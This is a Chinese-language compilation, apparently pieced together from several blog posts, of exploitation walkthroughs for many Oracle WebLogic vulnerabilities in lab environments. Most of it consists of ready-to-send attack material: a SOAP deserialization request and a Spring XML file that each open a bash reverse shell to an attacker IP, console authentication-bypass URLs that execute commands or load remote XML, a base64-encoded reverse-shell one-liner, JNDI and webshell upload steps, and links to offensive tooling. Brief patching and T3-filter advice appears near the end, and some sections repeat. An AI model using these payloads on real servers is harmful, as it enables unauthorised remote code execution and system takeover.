weblogic CVE-2018-2628漏洞利用
漏洞环境:
Windows2018R2
weblogic10.3.6
漏洞利用过程:
搭建好存在CVE-2018-2628漏洞的weblogic平台
使用工具获得shell
运行脚本,执行命令
漏洞利用工具:
本文仅用于漏洞学习利用,禁止非法利用(后果自负)。
链接:https://pan.baidu.com/s/1VUSdwntnm4ViDTPgFSP6CA 密码:dto2
一个图形化的漏洞利用集成工具,它用python3书写,参考了大量安全工具的实现原理与思想,在工作之余开发,方便自己的渗透测试工作,我的目的是打造一个红队武器化工具,路还很长,慢慢更新!
本工具提供了大量含有攻击payload的代码,希望大家正确使用该工具,切勿用于非法用途!本人概不负责! 由于时间原因,本工具没有进行全方位的测试,如遇到闪退或者报错bug,请联系jiaxingl@126.com
git clone https://github.com/lijiaxing1997/Gr33k.git
cd Gr33k
pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
如果接下来运行失败,若您是linux操作系统,请手动安装pyqt5以kali为例:
sudo apt-get install python3-pyqt5
若您要使用与ysoserial相关的利用程序,请您手动下载,因为默认该文件夹是空的
上述安装您将直接获得本工具的源代码,推荐这种安装方式,但因本工具为图形化工具考虑到实用性以及简单性,大家可以自行构建自己的可执行程序,推荐使用Pyinstaller。
为了方便,我为windows用户打包了一个可执行程序,因为依赖工具比较大,所以我将它放在了百度云盘上.
下载地址:https://pan.baidu.com/s/18M5TfcjbemeqQH5zfkbzdA
提取码:c7rr
python3 Gr33k.py
攻击截图如下
前言:
漏洞环境使用vulhub docker一键搭建,利用工具包括burp suite,kali等。
weblogic简介:
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
WebLogic Server具有开发和部署关键任务电子商务Web应用系统 所需的多种特色和优势,包括:可拓展性、可靠性、体系结构等。
漏洞类型: XMLDecoder反序列化命令执行漏洞
漏洞原理: 在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。
**影响版本:**10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2
访问weblogic站点,进入/wls-wsat/CoordinatorPortType 页面,存在下图所示内容说明可能存在漏洞:
在攻击机(kali)中使用nc监听端口:
nc -lp 9876
在此页面抓包,提交如下数据包:(注:提交方式使用POST,反弹shell的命令需要进行编码,如下所示)
在攻击机中看到返回shell,此时可执行后续操作。
总结: 此漏洞导致的结果是直接RCE,因此除了反弹shell外,也可以进行写shell、上传木马等操作。详情见:https://www.cnblogs.com/xyongsec/archive/2019/07/03/11125511.html
漏洞类型: T3协议反序列化命令执行漏洞
漏洞原理: 远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行。
此外,由于weblogic 的T3服务,造成的漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638。
影响范围: 10.3.6.0 ,12.1.3.0 , 12.2.1.2 , 12.2.1.3
访问weblogic站点,出现如下图所示界面,说明weblogic搭建成功(显示404是正常现象)
使用nmap 扫描一下,是否开放了weblogic T3服务
nmap -n -v -p 7001,7002 192.168.17.251 --script=weblogic-t3-info
使用漏洞利用工具K8WeblogicGUI.exe进行漏洞利用,上传shell:
使用cve-2018-2628.py连接刚刚上传的shell(箭头所指位置输入刚刚上传的shell的URL),获取交互式shell。此后可以上传CS马或者冰蝎马等进一步操作。
漏洞类型: 未授权访问导致任意文件上传
漏洞原理: 在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource 类中存在importWsTestConfig方法
跟进 RSdataHelper的convertFormDataMultiPart方法,接下来调用convertFormDataMultiPart方法,文件直接由字段 文件名拼接而成,没有任何限制。
影响范围: 10.3.6.0、12.1.3.0、12.2.1.2、 12.2.1.3。
使用docker搭建漏洞环境,进入weblogic控制台登录页面:
进入docker部署的主机,使用 “docker-compose logs |grep password” 查看weblogic后台登录账号信息。
登录后台,点击base_domain的配置,在“高级”中勾选“启用web服务测试页",然后保存配置。
访问/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,访问这个目录是无需权限的,这一点很重要。
然后点击“安全->添加”,上传jsp木马。
审查元素,查看时间戳(也可以抓包查看)。
访问木马ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell。
使用蚁剑或者菜刀连接shell即可(此处上传马有问题,使用的哥斯拉的马进行连接)。
漏洞类型:wls-wsat反序列化漏洞
漏洞原理:漏洞触发点在bea_wls9_async_response.war、wsat.war ,通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:
本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。
影响范围: 10.* ,12.1.3
**说明:**vulhub中,没有该漏洞的单独镜像,可以使用CVE-2018-2894等漏洞环境的镜像,满足版本条件基本上都可以。
访问目标站点以下目录,如果存在下图所示界面,说明就存在漏洞:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
在kali中使用nc监听端口:
在当前页面抓包,提交一下内容:
POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.17.132/44444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
**漏洞类型:**未授权访问导致的远程代码执行漏洞
漏洞原理: 远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ,并执行任意代码。
影响范围: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0,14.1.1.0.0
详见: https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
直接构建poc,访问控制台,达到未授权访问的效果
http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
第一步:构造远程xml文档,内容如下,并开启临时http文件共享服务:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.17.132/5555 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
第二步:使用poc执行代码在/tmp目录下创建test目录,以检测代码执行poc能否顺利执行。
执行poc:http://192.168.17.244:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);
进入docker查看创建结果:docker exec -it cve-2020-14882_weblogic_1 /bin/bash
创建成功,说明代码顺利执行。
第三步:nc监听端口,并加载远程XML文档。
加载xml文档poc:http://192.168.17.244:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(%22http://192.168.17.132:8090/test.xml%22)
执行结果:nc 收到反弹shell。
注:由于vulnhub 的docker镜像中,暂时没有该漏洞的镜像,因此使用CVE-2020-14882漏洞镜像进行的复现。
漏洞类型: 远程代码执行漏洞
**漏洞原理:**漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。
影响范围:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
访问/console/css/%252e%252e%252f/consolejndi.portal,如果能进入后太,出现一下界面,说明存在漏洞。
在攻击机1(kali)上使用ldap脚本起一个JDNI服务:java -jar JNDIExploit-v1.11.jar -i 192.168.xx.xx ,此处IP设置为自己的服务器IP,ldap脚本下载地址: https://github.com/feihong-cs/JNDIExploit
在攻击机2(windows 10)抓包发送payload:/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) 此处需要注意的是IP的第三个“."需要使用”;"替换,并且在HTTP头帐加入CMD内容。
Windows2018R2
weblogic10.3.6
搭建好存在CVE-2018-2628漏洞的weblogic平台
使用工具获得shell
运行脚本,执行命令
本文仅用于漏洞学习利用,禁止非法利用(后果自负)。
链接:https://pan.baidu.com/s/1VUSdwntnm4ViDTPgFSP6CA 密码:dto2
转载于:https://www.cnblogs.com/oliver-yt/p/9303759.html
所有文章,仅供安全研究与学习之用,后果自负!
存在漏洞
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210
SSRF控制台弱⼝令,部署webshell
CVE-2019-2729 出现频率高
在Oracle官方发布的2020年4月关键补丁更新公告CPU(Critical Patch Update)中,两个针对 WebLogic Server ,CVSS 3.0评分为 9.8的严重漏洞(CVE-2020-2883、CVE-2020-2884),允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
7001端口
(1)访问/console目录
Ip:port/console
自动跳转到
http://118.193.36.37:50128/console/login/LoginForm.jsp
确认weblogic靶机成功
(2)反弹shell
攻击机监听
nc -lvvp port 端口
使用脚本反弹shell
反弹shell需要编码,通过网站
shell编码
python3执行
python cve_2020_2883_exp.py -u http://118.193.36.37:50128/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA+JjE=}|{base64,-d}|{bash,-i}"
反弹shell成功
查看 flag
1、官方修复方案
Oracle已经发布补丁修复了上述漏洞,请用户参考官方通告及时下载受影响产品更新补丁,并参照补丁安装包中的readme文件进行安装更新,以保证长期有效的防护。
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
2、临时解决方案
用户可通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。操作方法如下:
进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:
127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s
* * * deny t3 t3s
保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。
描述: WebLogic是美国Oracle公司出品的一个应用服务器,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。该漏洞通过利用RMI机制的缺陷达到执行任意反序列化代码的目的。攻击者可以在未授权的情况下将payload封装在T3协议中,通过对T3协议中的payload进行反序列化,从而实现对存在漏洞的WebLogic组件进行远程攻击,执行任意代码并可获取目标系统的所有权限.
在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3
https://github.com/ianxtianxt/CVE-2018-3245
Step 1
java -jar ysoserial-cve-2018-3245.jar
WHY SO SERIAL?
Usage: java -jar ysoserial-cve-2018-3245.jar [payload] ‘[command]’
Available payload types:
Payload Authors Dependencies
------- ------- ------------
CVE_2018_2893_1 @mbechler
CVE_2018_2893_2 @mbechler
CVE_2018_2893_3 @mbechler
CVE_2018_3245 @mbechler
JRMPClient @mbechler
Jdk7u21 @frohoff
Step 2
java -jar ysoserial-cve-2018-3245.jar CVE_2018_3245 “[RMI_SERVICE_IP]:[PORT]” > poc5.ser
Step 3
python weblogic.py [TARGET_HOST] [PORT] poc5.
Oracle官方已经在本次的关键补丁更新(CPU)中修复了该漏洞,请用户参考官方通告https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#AppendixFMW,或绿盟科技安全预警微信公众号文章《Oracle全系产品2018年10月关键补丁更新(CPU)》附录部分,及时下载受影响产品更新补丁,并参照补丁安装包中的readme文件进行安装更新,以保证长期有效的防护。
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
由于Weblogic采用黑名单的方式阻止恶意反序列化,此次发布的补丁仍存在被绕过的可能,最新版本的jdk引入了JEP290增强安全机制,防护因java反序列化所造成的任意代码执行,使用weblogic的用户可通过升级jdk至最新版本对此漏洞进行防护。
jdk版本升级建议:
jdk1.8版本升级至8u121以上
jdk1.7版本升级至7u131以上
jdk1.6版本升级至6u141以上
Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。
Oracle WebLogic Server Oracle Fusion Middleware Console 多版本存在安全漏洞,该漏洞是CVE-2020-14882 补丁的绕过,远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,从而执行任意代码。
CVE-2020-14750 为 WebLogic Console 权限认证绕过的漏洞 CVE-2020-14882 补丁的绕过漏洞,CVSS 评分 9.8 分。CVE-2020-14882 补丁被绕过后,攻击者就可以再度绕过 Console 控制台的权限校验,访问原本需要登录才可以访问的资源和接口功能。尽管 CVE-2020-14883 这个后台的任意代码执行漏洞已被修复,但攻击者依然可以通过寻找利用其他合适的后台接口,从而达到在目标服务端执行任意恶意代码、获取系统权限的目的。
Oracle:Weblogic :
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
①观察正常成功登陆的页面URL(默认账号密码weblogic/weblogic)
http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1
②构造URL绕过登陆
http://127.0.0.1:7001/console/images/%252E./console.portal
这里的%252E是 . 二次url编码的结果
成功绕过登陆:
下载官方补丁进行修复
IIOP:IIOP 是 CORBA 的通信协议。它定义通过 CORBA 客户端与服务器之间的连线发送位的方式。
描述: Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
Weblogic IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
https://blog.csdn.net/YouthBelief/article/details/121133195
https://blog.csdn.net/YouthBelief/article/details/121132932
https://blog.csdn.net/YouthBelief/article/details/121119954
https://blog.csdn.net/YouthBelief/article/details/121115028
https://blog.csdn.net/YouthBelief/article/details/121091060
https://blog.csdn.net/YouthBelief/article/details/121102189
https://blog.csdn.net/YouthBelief/article/details/121096673
https://blog.csdn.net/YouthBelief/article/details/121090668
https://blog.csdn.net/YouthBelief/article/details/121088780